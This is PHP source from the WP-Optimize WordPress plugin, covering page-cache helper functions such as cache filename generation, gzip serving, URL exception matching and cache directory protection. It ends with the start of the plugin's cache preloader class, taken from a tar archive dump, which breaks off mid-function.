			$buffer = str_replace(esc_url($http_home_url), esc_url($https_home_url), $buffer);
		}

		$modified_time = time(); // Take this as soon before writing as possible

		$add_to_footer = '';
		
		/**
		 * Filter wether to display the html comment <!-- Cached by WP-Optimize ... -->
		 *
		 * @param boolean $show - Wether to display the html comment
		 * @return boolean
		 */
		if (preg_match('#</html>#i', $buffer) && (apply_filters('wpo_cache_show_cached_by_comment', true) || (defined('WP_DEBUG') && WP_DEBUG))) {
			if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - for mobile devices - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			} else {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			}
		}

		// Create an empty index.php file in the cache directory for disable directory viewing.
		if (!is_file($path . '/index.php')) file_put_contents($path . '/index.php', '');

		/**
		 * Save $buffer into cache file.
		 */
		$cache_filename = wpo_cache_filename();
		$cache_file = $path . '/' .$cache_filename;

		// if we can then cache gzipped content in .gz file.
		if (function_exists('gzencode')) {
			// Only replace inside the addition, not inside the main buffer (e.g. post content)
			file_put_contents($cache_file . '.gz', gzencode($buffer.str_replace('by WP-Optimize', 'by WP-Optimize (gzip)', $add_to_footer), apply_filters('wpo_cache_gzip_level', 6)));
		}

		file_put_contents($cache_file, $buffer.$add_to_footer);

		// delete cached information about cache size.
		WP_Optimize()->get_page_cache()->delete_cache_size_information();

		header('Cache-Control: no-cache'); // Check back every time to see if re-download is necessary.
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		header('WPO-Cache-Status: saving to cache');

		if (wpo_cache_can_output_gzip_content()) {
		
			if (!wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip')) {
				header('Content-Encoding: gzip');
			}
		
			// disable php gzip to avoid double compression.
			ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set

			return ob_gzhandler($buffer, $flags);
		} else {
			return $buffer;
		}
	}
}
endif;

/**
 * Load files for support plugins.
 */
if (!function_exists('wpo_cache_load_extensions')) :
function wpo_cache_load_extensions() {
	$extensions = glob(WPO_CACHE_EXT_DIR . '/*.php');

	// Add external extensions
	if (defined('WPO_CACHE_CUSTOM_EXT_DIR') && is_dir(WPO_CACHE_CUSTOM_EXT_DIR)) {
		$extensions = array_merge($extensions, glob(WPO_CACHE_CUSTOM_EXT_DIR . '/*.php'));
	}

	if (empty($extensions)) return;

	foreach ($extensions as $extension) {
		if (is_file($extension)) require_once $extension;
	}
}
endif;

if (!function_exists('wpo_restricted_cache_page_type')) {
function wpo_restricted_cache_page_type($restricted) {
	global $post;

	// Don't cache search or password protected.
	if ((function_exists('is_search') && is_search()) || (function_exists('is_404') && is_404()) || !empty($post->post_password)) {
		$restricted = __('Page type is not cacheable (search, 404 or password-protected)', 'wp-optimize');
	}

	// Don't cache the front page if option is set.
	if (in_array('/', wpo_get_url_exceptions()) && function_exists('is_front_page') && is_front_page()) {

		$restricted = __('In the settings, caching is disabled for the front page', 'wp-optimize');
	}

	// Don't cache htacesss. Remember to properly escape any output to prevent injection.
	if (strpos($_SERVER['REQUEST_URI'], '.htaccess') !== false) {
		$restricted = 'The file path is unsuitable for caching ('.$_SERVER['REQUEST_URI'].')';
	}

	return $restricted;
}
}

/**
 * Get filename for store cache, depending on gzip, mobile and cookie settings.
 *
 * @param string $ext
 * @return string
 */
if (!function_exists('wpo_cache_filename')) :
function wpo_cache_filename($ext = '.html') {
	$filename = 'index';

	if (wpo_cache_mobile_caching_enabled() && wpo_is_mobile()) {
		$filename = 'mobile.' . $filename;
	}

	$cookies = wpo_cache_cookies();

	$cache_key = '';

	/**
	 * Add cookie values to filename if need.
	 * This section was inspired by things learned from WP-Rocket.
	 */
	if (!empty($cookies)) {
		foreach ($cookies as $key => $cookie_name) {
			if (is_array($cookie_name) && isset($_COOKIE[$key])) {
				foreach ($cookie_name as $cookie_key) {
					if (isset($_COOKIE[$key][$cookie_key]) && '' !== $_COOKIE[$key][$cookie_key]) {
						$_cache_key = $cookie_key.'='.$_COOKIE[$key][$cookie_key];
						$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
						$cache_key .= '-' . $_cache_key;
					}
				}
				continue;
			}

			if (isset($_COOKIE[$cookie_name]) && '' !== $_COOKIE[$cookie_name]) {
				$_cache_key = $cookie_name.'='.$_COOKIE[$cookie_name];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
			}
		}
	}

	$query_variables = wpo_cache_query_variables();

	/**
	 * Add GET variables to cache file name if need.
	 */
	if (!empty($query_variables)) {
		foreach ($query_variables as $variable) {
			if (isset($_GET[$variable]) && !empty($_GET[$variable])) {
				$_cache_key = $variable.'='.$_GET[$variable];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
			}
		}
	}

	// add hash of queried cookies and variables to cache file name.
	if ('' !== $cache_key) {
		$filename .= '-' . md5($cache_key);
	}

	return $filename . $ext;
}
endif;

/**
 * Returns site url from site_url() function or if it is not available from cache configuration.
 */
if (!function_exists('wpo_site_url')) :
function wpo_site_url() {
	if (is_callable('site_url')) return site_url('/');

	$site_url = empty($GLOBALS['wpo_cache_config']['site_url']) ? '' : $GLOBALS['wpo_cache_config']['site_url'];
	return $site_url;
}
endif;

/**
 * Get cookie names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_cookies')) :
function wpo_cache_cookies() {
	$cookies = empty($GLOBALS['wpo_cache_config']['wpo_cache_cookies']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_cookies'];
	return $cookies;
}
endif;

/**
 * Get GET variable names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_query_variables')) :
function wpo_cache_query_variables() {
	if (defined('WPO_CACHE_URL_PARAMS') && WPO_CACHE_URL_PARAMS) {
		$variables = array_keys($_GET);
	} else {
		$variables = empty($GLOBALS['wpo_cache_config']['wpo_cache_query_variables']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_query_variables'];
	}

	if (!empty($variables)) {
		sort($variables);
	}

	return wpo_cache_maybe_ignore_query_variables($variables);
}
endif;

/**
 * Get list of all received HTTP headers.
 *
 * @return array
 */
if (!function_exists('wpo_get_http_headers')) :
function wpo_get_http_headers() {

	static $headers;

	if (!empty($headers)) return $headers;

	$headers = array();

	// if is apache server then use get allheaders() function.
	if (function_exists('getallheaders')) {
		$headers = getallheaders();
	} else {
		// https://www.php.net/manual/en/function.getallheaders.php
		foreach ($_SERVER as $key => $value) {

			$key = strtolower($key);

			if ('HTTP_' == substr($key, 0, 5)) {
				$headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($key, 5))))] = $value;
			} elseif ('content_type' == $key) {
				$headers["Content-Type"] = $value;
			} elseif ('content_length' == $key) {
				$headers["Content-Length"] = $value;
			}
		}
	}

	return $headers;
}
endif;

/**
 * Check if requested Accept-Encoding headers has gzip value.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_gzip_accepted')) :
function wpo_cache_gzip_accepted() {
	$headers = wpo_get_http_headers();

	if (isset($headers['Accept-Encoding']) && preg_match('/gzip/i', $headers['Accept-Encoding'])) return true;

	return false;
}
endif;

/**
 * Check if we can output gzip content in current answer, i.e. check Accept-Encoding headers has gzip value
 * and function ob_gzhandler is available.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_can_output_gzip_content')) :
function wpo_cache_can_output_gzip_content() {
	return wpo_cache_gzip_accepted() && function_exists('ob_gzhandler');
}
endif;

/**
 * Check if header with certain name exists in already prepared headers and has value comparable with $header_value.
 *
 * @param string $header_name  header name
 * @param string $header_value header value as regexp.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_is_in_response_headers_list')) :
function wpo_cache_is_in_response_headers_list($header_name, $header_value) {
	$headers_list = headers_list();

	if (!empty($headers_list)) {
		$header_name = strtolower($header_name);

		foreach ($headers_list as $value) {
			$value = explode(':', $value);

			if (strtolower($value[0]) == $header_name) {
				if (preg_match('/'.$header_value.'/', $value[1])) {
					return true;
				} else {
					return false;
				}
			}
		}
	}

	return false;
}
endif;

/**
 * Check if mobile cache is enabled and current request is from moblile device.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_mobile_caching_enabled')) :
function wpo_cache_mobile_caching_enabled() {
	if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching'])) return true;
	return false;
}
endif;

/**
 * Serves the cache and exits
 */
if (!function_exists('wpo_serve_cache')) :
function wpo_serve_cache() {
	$file_name = wpo_cache_filename();

	$path = WPO_CACHE_FILES_DIR . '/' . wpo_get_url_path() . '/' . $file_name;

	$use_gzip = false;

	// if we can use gzip and gzipped file exist in cache we use it.
	// if headers already sent we don't use gzipped file content.
	if (!headers_sent() && wpo_cache_gzip_accepted() && file_exists($path . '.gz')) {
		$path .= '.gz';
		$use_gzip = true;
	}

	$modified_time = file_exists($path) ? (int) filemtime($path) : time();

	// Cache has expired, purge and exit.
	if (!empty($GLOBALS['wpo_cache_config']['page_cache_length'])) {
		if (time() > ($GLOBALS['wpo_cache_config']['page_cache_length'] + $modified_time)) {
			wpo_delete_files($path);
			return;
		}
	}

	// disable zlib output compression to avoid double content compression.
	if ($use_gzip) {
		ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set
	}

	$gzip_header_already_sent = wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip');

	header('Cache-Control: no-cache'); // Check back later

	if (!empty($modified_time) && !empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) === $modified_time) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		header('WPO-Cache-Status: cached');
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		exit;
	}

	if (file_exists($path) && is_readable($path)) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		// send correct headers for xml and txt files
		$filename = basename(dirname($path));

		if (preg_match('/\.xml$/i', $filename)) {
			header('Content-type: text/xml');
		}

		if (preg_match('/\.txt$/i', $filename)) {
			header('Content-type: text/plain');
		}

		header('WPO-Cache-Status: cached');
		if (!empty($modified_time)) {
			header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		}

		readfile($path);

		exit;
	}
}
endif;

/**
 * Clears the cache
 */
if (!function_exists('wpo_cache_flush')) :
function wpo_cache_flush() {

	if (defined('WPO_CACHE_FILES_DIR') && '' != WPO_CACHE_FILES_DIR) wpo_delete_files(WPO_CACHE_FILES_DIR);

	if (function_exists('wp_cache_flush')) {
		wp_cache_flush();
	}

	do_action('wpo_cache_flush');
}
endif;

/**
 * Get URL path for caching
 *
 * @since  1.0
 * @return string
 */
if (!function_exists('wpo_get_url_path')) :
function wpo_get_url_path($url = '') {
	$url = '' == $url ? wpo_current_url() : $url;
	$url_parts = parse_url($url);

	if (!isset($url_parts['host'])) $url_parts['host'] = '';
	if (!isset($url_parts['path'])) $url_parts['path'] = '';

	return $url_parts['host'].$url_parts['path'];
}
endif;

/**
 * Get requested url.
 *
 * @return string
 */
if (!function_exists('wpo_current_url')) :
function wpo_current_url() {
	// Note: We use `static $url` to save the first value we retrieve, as some plugins change $_SERVER later on in the process (e.g. Weglot).
	// Otherwise this function would return a different URL at the begining and end of the cache process.
	static $url = '';
	if ('' != $url) return $url;
	$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
	$url = rtrim('http' . ((isset($_SERVER['HTTPS']) && ('on' == $_SERVER['HTTPS'] || 1 == $_SERVER['HTTPS']) ||
			isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) ? 's' : '' )
		. '://' . $http_host.$_SERVER['REQUEST_URI'], '/');
	return $url;
}
endif;

/**
 * Return list of url exceptions.
 *
 * @return array
 */
if (!function_exists('wpo_get_url_exceptions')) :
function wpo_get_url_exceptions() {
	static $exceptions = null;

	if (null !== $exceptions) return $exceptions;

	// if called from file-based-page-cache.php when WP loading
	// and cache settings exists then use it otherwise get settings from database.
	if (isset($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
		if (empty($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
			$exceptions = array();
		} else {
			$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_urls']) ? $GLOBALS['wpo_cache_config']['cache_exception_urls'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_urls']);
		}
	} else {
		$config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists('cache_exception_urls', $config)) {
			$exceptions = $config['cache_exception_urls'];
		} else {
			$exceptions = array();
		}

		$exceptions = is_array($exceptions) ? $exceptions : preg_split('#(\n|\r)#', $exceptions);
		$exceptions = array_filter($exceptions, 'trim');
	}

	return $exceptions;
}
endif;

/**
 * Return true of exception url matches current url
 *
 * @param  string $exception Exceptions to check URL against.
 * @param  bool   $regex	 Whether to check with regex or not.
 * @return bool   true if matched, false otherwise
 */
if (!function_exists('wpo_current_url_exception_match')) :
function wpo_current_url_exception_match($exception) {

	return wpo_url_exception_match(wpo_current_url(), $exception);
}
endif;

/**
 * Check if url in exceptions list.
 *
 * @param string $url
 *
 * @return bool
 */
if (!function_exists('wpo_url_in_exceptions')) :
function wpo_url_in_exceptions($url) {
	$exceptions = wpo_get_url_exceptions();

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {

			// don't check / - front page using regexp, we handle it in wpo_restricted_cache_page_type()
			if ('/' == $exception) continue;

			if (wpo_url_exception_match($url, $exception)) {
				// Exception match.
				return true;
			}
		}
	}

	return false;
}
endif;

/**
 * Check if url string match with exception.
 *
 * @param string $url       - complete url string i.e. http(s):://domain/path
 * @param string $exception - complete url or absolute path, can consist (.*) wildcards
 *
 * @return bool
 */
if (!function_exists('wpo_url_exception_match')) :
function wpo_url_exception_match($url, $exception) {
	if (preg_match('#^[\s]*$#', $exception)) {
		return false;
	}

	$exception = str_replace('*', '.*', $exception);

	$exception = trim($exception);

	// used to test websites placed in subdirectories.
	$sub_dir = '';

	// if exception defined from root i.e. /page1 then remove domain part in url.
	if (preg_match('/^\//', $exception)) {
		// get site sub directory.
		$sub_dir = preg_replace('#^(http|https):\/\/.*\/#Ui', '', wpo_site_url());
		// add prefix slash and remove slash.
		$sub_dir = ('' == $sub_dir) ? '' : '/' . rtrim($sub_dir, '/');
		// get relative path
		$url = preg_replace('#^(http|https):\/\/.*\/#Ui', '/', $url);
	}

	$url = rtrim($url, '/') . '/';
	$exception = rtrim($exception, '/');

	// if we have no wildcat in the end of exception then add slash.
	if (!preg_match('#\(\.\*\)$#', $exception)) $exception .= '/';

	$exception = str_replace('/', '\/', $exception);

	return preg_match('#^'.$exception.'$#i', $url) || preg_match('#^'.$sub_dir.$exception.'$#i', $url);
}
endif;

/**
 * Checks if its a mobile device
 *
 * @see https://developer.wordpress.org/reference/functions/wp_is_mobile/
 */
if (!function_exists('wpo_is_mobile')) :
function wpo_is_mobile() {
	if (empty($_SERVER['HTTP_USER_AGENT'])) {
		$is_mobile = false;
	// many mobile devices (all iPhone, iPad, etc.)
	} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false
	) {
		$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	return $is_mobile;
}
endif;

/**
 * Check if current browser agent is not disabled in options.
 *
 * @return bool
 */
if (!function_exists('wpo_is_accepted_user_agent')) :
function wpo_is_accepted_user_agent($user_agent) {

	$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_browser_agents']) ? $GLOBALS['wpo_cache_config']['cache_exception_browser_agents'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_browser_agents']);

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {
			if ('' == trim($exception)) continue;

			if (preg_match('#'.$exception.'#i', $user_agent)) return false;
		}
	}

	return true;
}
endif;

/**
 * Delete function that deals with directories recursively
 *
 * @param string  $src       Path of the folder
 * @param boolean $recursive If $src is a folder, recursively delete the inner folders. If set to false, only the files will be deleted.
 *
 * @return bool
 */
if (!function_exists('wpo_delete_files')) :
function wpo_delete_files($src, $recursive = true) {
	if (!file_exists($src) || '' == $src || '/' == $src) {
		return true;
	}

	if (is_file($src)) {
		return unlink($src);
	}

	$success = true;
	$has_dir = false;

	if ($recursive) {
		// N.B. If opendir() fails, then a false positive (i.e. true) will be returned
		if (false !== ($dir = opendir($src))) {
			$file = readdir($dir);
			while (false !== $file) {
				if ('.' == $file || '..' == $file) {
					$file = readdir($dir);
					continue;
				}
				if (is_dir($src . '/' . $file)) {
					if (!wpo_delete_files($src . '/' . $file)) {
						$success = false;
					}
				} else {
					if (!unlink($src . '/' . $file)) {
						$success = false;
					}
				}

				$file = readdir($dir);
			}
			closedir($dir);
		}
	} else {
		// Not recursive, so we only delete the files
		// scan directories recursively.
		$handle = opendir($src);

		if (false === $handle) return false;

		$file = readdir($handle);

		while (false !== $file) {

			if ('.' != $file && '..' != $file) {
				if (is_dir($src . '/' . $file)) {
					$has_dir = true;
				} elseif (!unlink($src . '/' . $file)) {
					$success = false;
				}
			}

			$file = readdir($handle);

		}
	}

	if ($success && !$has_dir) {
		// Success of this operation is not recorded; we only ultimately care about emptying, not removing entirely (empty folders in our context are harmless)
		rmdir($src);
	}

	// delete cached information about cache size.
	WP_Optimize()->get_page_cache()->delete_cache_size_information();

	return $success;
}
endif;

/**
 * Either store for later output, or output now. Only the most-recent call will be effective.
 *
 * @param String|Null $output - if not null, then the string to use when called by the shutdown action.
 */
if (!function_exists('wpo_cache_add_footer_output')) :
function wpo_cache_add_footer_output($output = null) {

	static $buffered = null;

	if (function_exists('current_filter') && 'shutdown' == current_filter()) {
		// Only add the line if it was a page, not something else (e.g. REST response)
		if (function_exists('did_action') && did_action('wp_footer')) {
			echo "\n<!-- WP Optimize page cache - https://getwpo.com - ".$buffered." -->\n";
		} elseif (defined('WPO_CACHE_DEBUG') && WPO_CACHE_DEBUG) {
			error_log('[CACHE DEBUG] '.wpo_current_url() . ' - ' . $buffered);
		}
	} else {
		if (null == $buffered && function_exists('add_action')) add_action('shutdown', 'wpo_cache_add_footer_output', 11);
		$buffered = $output;
	}

}
endif;

/**
 * Remove variable names that shouldn't influence cache.
 *
 * @param array $variables List of variable names.
 *
 * @return array
 */
if (!function_exists('wpo_cache_maybe_ignore_query_variables')) :
function wpo_cache_maybe_ignore_query_variables($variables) {

	/**
	 * Filters the current $_GET variables that will be used when caching or excluding from cache.
	 * Currently:
	 * - 'wpo_cache_debug' (Shows the reason for not being cached even when WP_DEBUG isn't set)
	 * - 'doing_wp_cron' (alternative cron)
	 * - 'aiosp_sitemap_path', 'aiosp_sitemap_page' (All in one SEO sitemap)
	 * - 'xml_sitemap', 'seopress_sitemap', 'seopress_news', 'seopress_video', 'seopress_cpt', 'seopress_paged' (SEOPress sitemap)
	 * - 'sitemap', 'sitemap_n' (YOAST SEO sitemap)
	 */
	$exclude_variables = array(
		'wpo_cache_debug',    // Shows the reason for not being cached even when WP_DEBUG isn't set
		'doing_wp_cron',      // alternative cron
		'aiosp_sitemap_path', // All in one SEO sitemap
		'aiosp_sitemap_page',
		'xml_sitemap',        // SEOPress sitemap
		'seopress_sitemap',
		'seopress_news',
		'seopress_video',
		'seopress_cpt',
		'seopress_paged',
		'sitemap',            // YOAST SEO sitemap
		'sitemap_n',
	);
	$exclude_variables = function_exists('apply_filters') ? apply_filters('wpo_cache_ignore_query_variables', $exclude_variables) : $exclude_variables;

	if (empty($exclude_variables)) return $variables;

	foreach ($exclude_variables as $variable) {
		$exclude = array_search($variable, $variables);
		if (false !== $exclude) {
			array_splice($variables, $exclude, 1);
		}
	}

	return $variables;
}
endif;

/**
 * Get cache config
 *
 * @param string $key     - The config item
 * @param mixed  $default - The default value
 *
 * @return mixed
 */
if (!function_exists('wpo_cache_config_get')) :
function wpo_cache_config_get($key, $default = false) {
	$config = $GLOBALS['wpo_cache_config'];

	if (!$config) return false;

	if (isset($config[$key])) {
		return $config[$key];
	} else {
		return $default;
	}
}
endif;

if (!function_exists('wpo_disable_cache_directories_viewing')) :
function wpo_disable_cache_directories_viewing() {
	global $is_apache, $is_IIS, $is_iis7;

	if (!is_dir(WPO_CACHE_FILES_DIR)) return;

	// Create .htaccess file for apache server.
	if ($is_apache) {
		$htaccess_filename = WPO_CACHE_FILES_DIR . '/.htaccess';

		// CS does not like heredoc
		// phpcs:disable
		$htaccess_content = <<<EOF
# Disable directory browsing 
Options -Indexes

# Disable access to any files
<FilesMatch ".*">
	Order allow,deny
	Deny from all
</FilesMatch>		
EOF;
		// phpcs:enable

		if (!is_file($htaccess_filename)) @file_put_contents($htaccess_filename, $htaccess_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create web.config file for IIS servers.
	if ($is_IIS || $is_iis7) {
		$webconfig_filename = WPO_CACHE_FILES_DIR . '/web.config';
		$webconfig_content = "<configuration>\n<system.webServer>\n<authorization>\n<deny users=\"*\" />\n</authorization>\n</system.webServer>\n</configuration>\n";

		if (!is_file($webconfig_filename)) @file_put_contents($webconfig_filename, $webconfig_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create empty index.php file for all servers.
	if (!is_file(WPO_CACHE_FILES_DIR . '/index.php')) @file_put_contents(WPO_CACHE_FILES_DIR . '/index.php', '');// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
}
endif;

/**
 * Add the headers indicating why the page is not cached or served from cache
 *
 * @param string $message - The headers
 *
 * @return void
 */
if (!function_exists('wpo_cache_add_nocache_http_header')) :
	function wpo_cache_add_nocache_http_header($message = '') {
		static $buffered_message = null;

		if (function_exists('current_filter') && 'send_headers' === current_filter() && $buffered_message && !headers_sent()) {
			header('WPO-Cache-Status: not cached');
			header('WPO-Cache-Message: '. trim(str_replace(array("\r", "\n", ':'), ' ', strip_tags($buffered_message))));
		} else {
			if (!$buffered_message && function_exists('add_action')) add_action('send_headers', 'wpo_cache_add_nocache_http_header', 11);
			$buffered_message = $message;
		}
	}
endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-wpo-cache-preloader.php000644 000000 000000 00000070050 13665416124 033703 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

if (!class_exists('Updraft_Task_Manager_1_2')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task-manager.php');

if (!class_exists('WP_Optimize_Load_Url_Task')) require_once(dirname(__FILE__) . '/class-wpo-load-url-task.php');

class WP_Optimize_Page_Cache_Preloader extends Updraft_Task_Manager_1_2 {

	private $task_type = 'load-url-task';

	private $options;

	static protected $_instance = null;

	/**
	 * WP_Optimize_Page_Cache_Preloader constructor.
	 */
	public function __construct() {
		parent::__construct();

		$this->options = WP_Optimize()->get_options();
		// setup loggers
		$this->set_loggers(WP_Optimize()->wpo_loggers());

		add_filter('cron_schedules', array($this, 'cron_add_intervals'));
		add_action('wpo_page_cache_preload_continue', array($this, 'process_tasks_queue'));
		add_action('wpo_page_cache_schedule_preload', array($this, 'run_scheduled_cache_preload'));
		add_filter('updraft_interrupt_tasks_queue_'.$this->task_type, array($this, 'maybe_interrupt_queue'), 20);
	}

	/**
	 * Check if cache is active.
	 *
	 * @return bool
	 */
	public function is_cache_active() {
		return WP_Optimize()->get_page_cache()->is_enabled();
	}

	/**
	 * Schedule or delete automatic preload action on cache settings update.
	 *
	 * @param array $new_settings      The new settings
	 * @param array $previous_settings Settings before saving
	 */
	public function cache_settings_updated($new_settings, $previous_settings) {
		if (!$new_settings['enable_page_caching']) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			$this->delete_preload_continue_action();
			return;
		}

		if (!empty($new_settings['enable_schedule_preload'])) {

			$last_schedule_type = $previous_settings['preload_schedule_type'];

			if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
				// if already scheduled this schedule type
				if ($new_settings['preload_schedule_type'] == $last_schedule_type) {
					// If the schedule type is cache lifespan, check if the cache lifespan changed.
					if ('wpo_use_cache_lifespan' == $new_settings['preload_schedule_type']) {
						// Else, if the settings cache lifespan settings haven't changed, returns
						if ($new_settings['page_cache_length_value'] == $previous_settings['page_cache_length_value'] && $new_settings['page_cache_length_unit'] == $previous_settings['page_cache_length_unit']) {
							return;
						}
					} else {
						return;
					}
				}
				// clear currently scheduled preload action.
				wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			}
			// schedule preload action.
			wp_schedule_event((time() + $this->get_schedule_interval($new_settings['preload_schedule_type'])), $new_settings['preload_schedule_type'], 'wpo_page_cache_schedule_preload');
		} else {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

	}

	/**
	 * Clear active preload tasks, reschedule preload action.
	 */
	public function reschedule_preload() {
		// clear scheduled action.
		if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

		// schedule preload action if need.
		if ($this->is_scheduled_preload_enabled()) {
			$preload_schedule_type = $this->get_cache_config('preload_schedule_type');
			wp_schedule_event(time() + $this->get_schedule_interval($preload_schedule_type), $preload_schedule_type, 'wpo_page_cache_schedule_preload');
		}
	}

	/**
	 * Check if scheduled preload enabled.
	 *
	 * @return bool
	 */
	public function is_scheduled_preload_enabled() {
		$enable_schedule_preload = $this->get_cache_config('enable_schedule_preload');
		return !empty($enable_schedule_preload);
	}

	/**
	 * Get a schedule interval
	 *
	 * @param string $schedule_key The schedule to check
	 * @return integer
	 */
	private function get_schedule_interval($schedule_key) {
		$schedules = wp_get_schedules();
		if (!isset($schedules[$schedule_key])) {
			$this->log('Could not get interval for event of type '.$schedule_key);
			return 0;
		}
		return isset($schedules[$schedule_key]['interval']) ? $schedules[$schedule_key]['interval'] : 0;
	}

	/**
	 * Add intervals to cron schedules.
	 *
	 * @param array $schedules
	 *
	 * @return array
	 */
	public function cron_add_intervals($schedules) {
		$interval = $this->get_continue_preload_cron_interval();
		$schedules['wpo_page_cache_preload_continue_interval'] = array(
			'interval' => $interval,
			'display' => round($interval / 60, 1).' minutes'
		);

		$schedules['wpo_use_cache_lifespan'] = array(
			'interval' => WPO_Cache_Config::instance()->get_option('page_cache_length'),
			'display' => 'Same as cache lifespan: '.WPO_Cache_Config::instance()->get_option('page_cache_length_value').' '.WPO_Cache_Config::instance()->get_option('page_cache_length_unit')
		);

		return $schedules;
	}

	/**
	 * Get the interval to continuing a preload task
	 *
	 * @return integer
	 */
	private function get_continue_preload_cron_interval() {
		/**
		 * Filters the interval between each preload attempt, in seconds.
		 */
		return (int) apply_filters('wpo_page_cache_preload_continue_interval', 600);
	}

	/**
	 * Schedule action for continuously preload.
	 */
	public function schedule_preload_continue_action() {
		$continue_in = wp_next_scheduled('wpo_page_cache_preload_continue');

		// Action is still scheduled
		if ($continue_in && $continue_in > 0) return;
		// Action is overdue, delete it and re schedule it
		if ($continue_in && $continue_in < 0) $this->delete_preload_continue_action();

		wp_schedule_event(time() + $this->get_schedule_interval('wpo_page_cache_preload_continue_interval'), 'wpo_page_cache_preload_continue_interval', 'wpo_page_cache_preload_continue');
	}

	/**
	 * Delete scheduled action for continuously preload.
	 */
	public function delete_preload_continue_action() {
		wp_clear_scheduled_hook('wpo_page_cache_preload_continue');
	}

	/**
	 * Run cache preload. If task queue is empty it creates tasks for site urls.
	 *
	 * @param string $type     - The preload type (schedule | manual)
	 * @param array  $response - Specific response for echo into output thread when browser connection closing.
	 * @return array|void - Void when closing the browser connection
	 */
	public function run($type = 'scheduled', $response = null) {
		if (!$this->is_cache_active()) {
			return array(
				'success' => false,
				'error' => __('Page cache is disabled.', 'wp-optimize')
			);
		}

		if (empty($response)) {
			$response = array('success' => true);
		}

		$this->delete_cancel_flag();

		// trying to lock semaphore.

		$creating_tasks_semaphore = new Updraft_Semaphore_2_2('wpo_cache_preloader_creating_tasks');
		$lock = $creating_tasks_semaphore->lock();

		// if semaphore haven't locked then just return response.
		if (!$lock) {
			return array(
				'success' => false,
				'error' => __('Probably page cache preload is running already.', 'wp-optimize')
			);
		}

		$is_wp_cli = defined('WP_CLI') && WP_CLI;

		// close browser connection and continue work.
		// don't close connection for WP-CLI
		if (false == $is_wp_cli) {
			WP_Optimize()->close_browser_connection(json_encode($response));
		}

		// trying to change time limit.
		WP_Optimize()->change_time_limit();

		$status = $this->get_status($this->task_type);

		if (0 == $status['all_tasks'] && $lock) {
			if (is_multisite()) {
				$sites = WP_Optimize()->get_sites();

				foreach ($sites as $site) {
					switch_to_blog($site->blog_id);
